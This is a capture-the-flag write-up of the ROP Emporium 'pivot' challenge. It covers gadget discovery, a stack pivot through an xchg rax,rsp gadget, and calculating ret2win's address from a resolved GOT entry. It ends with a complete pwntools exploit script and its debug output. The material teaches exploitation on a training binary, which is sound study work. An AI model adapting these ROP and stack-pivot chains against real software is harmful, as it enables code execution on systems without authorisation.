ROP Emporium - pivot
The pivot challenge creates a situation where stack space is limited. This means that our full payload cannot be stored on the stack and instead must be located elsewhere in memory. However in order to start executing the code pointed to from the new stack we have to swap stacks! This is called pivoting and let’s get started.
Exploring the binary⌗
The pivot binary is linked with libpivot.so
:
jasper@ropper:~/ropemporium/pivot$ checksec pivot
[*] '/home/jasper/ropemporium/pivot/pivot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RPATH: './'
jasper@ropper:~/ropemporium/pivot$ ldd pivot
linux-vdso.so.1 (0x00007ffc7c9fe000)
libpivot.so => ./libpivot.so (0x00007fd628fd5000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd628de1000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd6291d9000)
jasper@ropper:~/ropemporium/pivot$
The pivot
binary contains a uselessFunction
:
[0x00400ae2]> pdf
/ (fcn) sym.uselessFunction 24
| sym.uselessFunction ();
| 0x00400ae2 55 push rbp
| 0x00400ae3 4889e5 mov rbp, rsp
| 0x00400ae6 b800000000 mov eax, 0
| 0x00400aeb e860fdffff call sym.imp.foothold_function
| 0x00400af0 bf01000000 mov edi, 1 ; int status
\ 0x00400af5 e886fdffff call sym.imp.exit ; void exit(int status)
[0x00400ae2]>
The foothold_function
from libpivot.so
looks like this:
[0x00000970]> pdf
/ (fcn) sym.foothold_function 24
| sym.foothold_function ();
| 0x00000970 55 push rbp
| 0x00000971 4889e5 mov rbp, rsp
| 0x00000974 488d3d6d0100. lea rdi, qword str.foothold_function____check_out_my_.got.plt_entry_to_gain_a_foothold_into_libpivot.so ; section..rodata ; 0xae8 ; "foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so" ; const char *format
| 0x0000097b b800000000 mov eax, 0
| 0x00000980 e8bbfeffff call sym.imp.printf ; int printf(const char *format)
| 0x00000985 90 nop
| 0x00000986 5d pop rbp
\ 0x00000987 c3 ret
[0x00000970]>
And it has a ret2win
function of which it is our goal here to call:
[0x00000abe]> pdf
/ (fcn) sym.ret2win 26
| sym.ret2win ();
| 0x00000abe 55 push rbp
| 0x00000abf 4889e5 mov rbp, rsp
| 0x00000ac2 488d3d880000. lea rdi, qword str.bin_cat_flag.txt ; 0xb51 ; "/bin/cat flag.txt" ; const char *string
| 0x00000ac9 e862fdffff call sym.imp.system ; int system(const char *string)
| 0x00000ace bf00000000 mov edi, 0 ; int status
\ 0x00000ad3 e878fdffff call sym.imp.exit ; void exit(int status)
[0x00000abe]>
The challenge page also states:
In this challenge you’ll also need to apply what you’ve previously learned about the .plt and .got.plt sections of ELF binaries.
When we run the binary we get a sense of what we’re up against:
jasper@ropper:~/ropemporium/pivot$ ./pivot
pivot by ROP Emporium
64bits
Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7feb3847bf10
Send your second chain now and it will land there
> 0xC0FFEE
Now kindly send your stack smash
> 0xC0FFEE
Exiting
The address of where to pivot to changes between runs because of this code in main
:
| 0x004009ee bf00000001 mov edi, 0x1000000
| 0x004009f3 e868feffff call sym.imp.malloc ; void *malloc(size_t size)
| 0x004009f8 488945f8 mov qword [local_8h], rax
| 0x004009fc 488b45f8 mov rax, qword [local_8h]
| 0x00400a00 480500ffff00 add rax, 0xffff00
| 0x00400a06 488945f0 mov qword [local_10h], rax
| 0x00400a0a 488b45f0 mov rax, qword [local_10h]
| 0x00400a0e 4889c7 mov rdi, rax
| 0x00400a11 e825000000 call sym.pwnme
We allocate an object of the specified size and store its address (malloc()
returns a pointer to the allocated memory) in RDI before calling pwnme()
:
[0x00400a3b]> s sym.pwnme
[0x00400a3b]> pdf
/ (fcn) sym.pwnme 167
| sym.pwnme (int arg1);
| ; var int local_28h @ rbp-0x28
| ; var int local_20h @ rbp-0x20
| ; arg int arg1 @ rdi
| ; CALL XREF from sym.main (0x400a11)
| 0x00400a3b b cc int3
| 0x00400a3c 4889e5 mov rbp, rsp
| 0x00400a3f 4883ec30 sub rsp, 0x30 ; '0'
| 0x00400a43 48897dd8 mov qword [local_28h], rdi ; arg1
| 0x00400a47 488d45e0 lea rax, qword [local_20h]
| 0x00400a4b ba20000000 mov edx, 0x20 ; 32
| 0x00400a50 be00000000 mov esi, 0
| 0x00400a55 4889c7 mov rdi, rax
| 0x00400a58 e8c3fdffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| 0x00400a5d bfc00b4000 mov edi, str.Call_ret2win___from_libpivot.so ; 0x400bc0 ; "Call ret2win() from libpivot.so"
| 0x00400a62 e899fdffff call sym.imp.puts ; int puts(const char *s)
| 0x00400a67 488b45d8 mov rax, qword [local_28h]
| 0x00400a6b 4889c6 mov rsi, rax
| 0x00400a6e bfe00b4000 mov edi, str.The_Old_Gods_kindly_bestow_upon_you_a_place_to_pivot:__p ; 0x400be0 ; "The Old Gods kindly bestow upon you a place to pivot: %p\n"
| 0x00400a73 b800000000 mov eax, 0
| 0x00400a78 e893fdffff call sym.imp.printf ; int printf(const char *format)
The local variable arg1
(RDI) gets moved to RBP-0x28, the address is loaded into RSI via RAX. This is used as the second argument to the printf()
call where it fills in the value for %p
. Eventually the call to fgets()
will use this address to store what it’s read.
Laying out the gadgets⌗
As the output of pivot
instructs, first we need to send it our second payload which will end up on the stack we’ll pivot to.
Then we need to cause an overflow and pivot to the new stack. The stack address is stored in RSP so a gadget needs to be found which affects this register.
[0x004008a0]> /R pop rsp
0x00400b6d 5c pop rsp
0x00400b6e 415d pop r13
0x00400b70 415e pop r14
0x00400b72 415f pop r15
0x00400b74 c3 ret
Does the job, but that would require passing r13-r15 too and result in a fairly long ROP chain to achieve only setting RSP:
chain = p64(0x00400b6d)
chain += p64(value_for_rsp)
chain += p64(0x0) * 3
This would be a fairly large chain; let’s see if something shorter is available:
[0x004008a0]> /R/ xchg.*rsp.*
0x00400afa 660f1f440000 nop word [rax + rax]
0x00400b00 58 pop rax
0x00400b01 c3 ret
0x00400b02 4894 xchg rax, rsp
0x00400b04 c3 ret
Two useful gadgets with minimal side effects are found:
chain = p64(0x00400b00)
chain += p64(value_for_rsp)
chain += p64(0x00400b02)
This is considerably shorter so let’s use this (also because it modifies fewer registers).
One contrived attempt of exploiting this binary was to leak the address of foothold_function
then calculate the real address of ret2win
. However as we leak the address in a first chain and then call main()
again to use the leaked address in a second chain
we’d already have corrupted the stack in such a way that we couldn’t recover it again when going through main()
again.
The key realisation here was to move the GOT pointer into a register because when it’s resolved that’s what the GOT call returns via RAX. So first call foothold_function
to force going through the GOT and have it’s address in libpivot.so
resolved.
Then we pop the address of the GOT entry into RAX. Here comes the trick, by using the “mov rax, qword [rax]” gadget we put the address pointed to by RAX (i.e. the resolved address in libpivot.so
).
We can calculate the offset between the two functions statically:
>>> hex(0x00000abe-0x00000970)
'0x14e'
>>>
Now we need a gadget that will allow for an arbitrary addition to RAX:
[0x00400900]> /R add rax
[...]
0x00400b09 4801e8 add rax, rbp
0x00400b0c c3 ret
[0x00400900]> /R pop rbp
0x00400900 5d pop rbp
0x00400901 c3 ret
There are plenty of gadgets to conclude this challenge by calling the function stored in RAX, let’s pick 0x0040098e
.
Exploit⌗
The final exploit is demonstrated here:
jasper@ropper:~/ropemporium/pivot$ python pivot.py -d
[+] Starting local process './pivot': pid 24504
[DEBUG] Received 0xb7 bytes:
'pivot by ROP Emporium\n'
'64bits\n'
'\n'
'Call ret2win() from libpivot.so\n'
'The Old Gods kindly bestow upon you a place to pivot: 0x7feb0d1c2f10\n'
'Send your second chain now and it will land there\n'
'> '
[*] Got address to pivot to: 0x7feb0d1c2f10
[DEBUG] Sent 0x41 bytes:
00000000 50 08 40 00 00 00 00 00 00 0b 40 00 00 00 00 00 │P·@·│····│··@·│····│
00000010 48 20 60 00 00 00 00 00 05 0b 40 00 00 00 00 00 │H `·│····│··@·│····│
00000020 00 09 40 00 00 00 00 00 4e 01 00 00 00 00 00 00 │··@·│····│N···│····│
00000030 09 0b 40 00 00 00 00 00 8e 09 40 00 00 00 00 00 │··@·│····│··@·│····│
00000040 0a │·│
00000041
[DEBUG] Received 0x23 bytes:
'Now kindly send your stack smash\n'
'> '
[DEBUG] Sent 0x41 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 00 0b 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000030 10 2f 1c 0d eb 7f 00 00 02 0b 40 00 00 00 00 00 │·/··│····│··@·│····│
00000040 0a │·│
00000041
[DEBUG] Received 0x54 bytes:
'foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so'
[*] Process './pivot' stopped with exit code 0 (pid 24504)
[DEBUG] Received 0x21 bytes:
'ROPE{a_placeholder_32byte_flag!}\n'
[*] Called ret2win: ROPE{a_placeholder_32byte_flag!}
It took me a little while to figure out the parsing of the output to grab the flag and ignore the output of the foothold_function()
but recvline_contains()
along with a regex did the trick:
#!/usr/bin/env python2
import argparse
import re
from pwn import *
def exploit():
p = process('./pivot')
# Gadgets
pop_rdi = p64(0x00400b73)
nop = p64(0x00400b74)
pop_rax = p64(0x00400b00)
xchg_rax_rsp = p64(0x00400b02)
mov_rax_qrax = p64(0x00400b05)
pop_rax = p64(0x00400b00)
add_rax_rbp = p64(0x00400b09)
pop_rbp = p64(0x00400900)
call_rax = p64(0x0040098e)
# Functions (and PLT entries)
puts_plt = p64(0x400800)
foothold_plt = p64(0x400850)
foothold_got = p64(0x602048)
main = p64(0x400996)
pwnme = p64(0x400a3b)
# First get the address to pivot to
p.recvuntil('to pivot: ')
pivot = p.recv().split()[0]
log.info('Got address to pivot to: {}'.format(pivot))
# Now we'll pass out actual chain where we'll later pivot to.
# First call foothold_function to force going through the GOT
# and have its address in libpivot.so resolved.
# Then we pop the address of the GOT entry into rax. Here comes
# the trick, by using the "mov rax, qword [rax]" gadget we put the
# address *pointed to* by rax (i.e. the resolved address in libpivot.so)
# into rax. We can then adjust for the offset between to ret2win
# and call the address of ret2win.
chain = foothold_plt
chain += pop_rax
chain += foothold_got
chain += mov_rax_qrax
chain += pop_rbp
chain += p64(0x14e)
chain += add_rax_rbp
chain += call_rax
p.sendline(chain)
# Now we can send out payload to cause the buffer overflow
# and pivot onto our new stack.
p.recvuntil('> ')
# This payload overflows the buffer and pivots to our new stack we
# prepared on the heap by swapping the address stored in RAX into RSP.
# Thereby adjusting the stack pointer.
payload = 'A' * 40
payload += pop_rax
payload += p64(int(pivot, 16))
payload += xchg_rax_rsp
p.sendline(payload)
# Grab output until we get a line containing the output of ret2win.
output = p.recvline_contains('ROPE')
flag = re.match(r'.*(ROPE.*)', output).groups()[0]
log.info('Called ret2win: {}'.format(flag))
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--arch', '-a',
help='Binary architecture', default='amd64')
parser.add_argument('--os', '-O',
help='Operating system', default='linux')
parser.add_argument('--debug', '-d',
help='Enable debug output', default=False,
action='store_true')
args = parser.parse_args()
context(os=args.os, arch=args.arch)
if args.debug:
context.log_level = 'debug'
exploit()
if __name__ == '__main__':
main()